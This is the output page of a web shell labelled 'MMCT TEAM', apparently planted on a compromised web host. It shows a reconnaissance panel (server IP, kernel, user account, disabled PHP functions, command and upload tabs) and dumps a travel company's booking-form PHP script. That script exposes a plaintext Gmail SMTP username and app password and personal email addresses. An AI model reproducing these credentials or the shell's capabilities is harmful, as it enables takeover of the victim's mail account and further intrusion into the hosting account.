MMCT TEAM
Server IP : 217.21.91.233  /  Your IP : 216.73.216.58
Web Server : LiteSpeed
System : Linux in-mum-web832.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u952924200 ( 952924200)
PHP Version : 8.2.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0755) :  /home/u952924200/domains/nadeemtravels.in/public_html/images/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u952924200/domains/nadeemtravels.in/public_html/images/../action_page.php
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require __DIR__ . '/phpmailer/src/Exception.php';
require __DIR__ . '/phpmailer/src/PHPMailer.php';
require __DIR__ . '/phpmailer/src/SMTP.php';
if ($_SERVER['REQUEST_METHOD'] === "POST" && isset($_POST['submitForm'])):

    function clean($data)
    {
        $data = trim($data);
        $data = strip_tags($data);
        $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
        return $data;
    }

    $request = (object) $_POST;

    $name           = clean($request->name);
    $phone          = clean($request->mobile);
    $bookingDate    = clean($request->bookingDate);
    $pick_Location  = clean($request->pickupLocation);
    $drop_Location  = clean($request->dropLocation);
    $remarks        = clean($request->remarks);


    require_once __DIR__ . "/include/connection.php";
    date_default_timezone_set("Asia/Kolkata");
    $date = date("Y-m-d H:i:s");

    $sql = "INSERT INTO bookings 
            (name, phone, booking_date, pickup_address, drop_address, remarks, created_at)
            VALUES (:name, :phone, :booking_date, :pickup_address, :drop_address, :remarks, :created_at)";

    $stmt = $conn->prepare($sql);

    $stmt->bindParam(':name', $name);
    $stmt->bindParam(':phone', $phone);
    $stmt->bindParam(':booking_date', $bookingDate);
    $stmt->bindParam(':pickup_address', $pick_Location);
    $stmt->bindParam(':drop_address', $drop_Location);
    $stmt->bindParam(':remarks', $remarks);
    $stmt->bindParam(':created_at', $date);

    $stmt->execute();
    $mail = new PHPMailer(true);
    $mail->SMTPDebug = 0;

    $mail->isSMTP();
    $mail->Host       = 'smtp.gmail.com';
    $mail->SMTPAuth   = true;
    $mail->Username   = 'kanpurtaxi5@gmail.com';
    $mail->Password   = 'bkhppouqbbxpdmhm';
    $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;
    $mail->Port       = 465;

    $mail->setFrom('kanpurtaxi5@gmail.com', 'Nadeem Travels');
    $mail->addAddress('naddu.khan.111@gmail.com', 'Nadeem Travels');
    $mail->addAddress('kanpurtaxi5@gmail.com', 'Nadeem Travels');
    
    $mail->CharSet = 'UTF-8';
    $mail->isHTML(true);
    $mail->Subject = "Nadeem Travels : New Booking Enquiry - $name";
    $mail->isHTML(true);

    $message = "
        <html>
        <body style='font-family: Arial, sans-serif; font-size:14px; color:#333;'>
            <h2 style='margin-bottom:10px;'>Booking Enquiry</h2>
            <p><strong>Name:</strong> {$name}</p>
            <p><strong>Phone:</strong> {$phone}</p>
            <p><strong>Pickup Date:</strong> {$bookingDate}</p>
            <p><strong>Pickup Location:</strong> {$pick_Location}</p>
            <p><strong>Drop Location:</strong> {$drop_Location}</p>
            <p><strong>Remarks:</strong><br>" . nl2br(htmlspecialchars($remarks)) . "</p>
            <p><strong>Enquiry Time:</strong><br>" . nl2br(htmlspecialchars($date)) . "</p>
        </body>
        </html>
    ";

    $mail->Body = $message;
    $mail->send();
    header("Location:thanks");
endif;

MMCT - 2023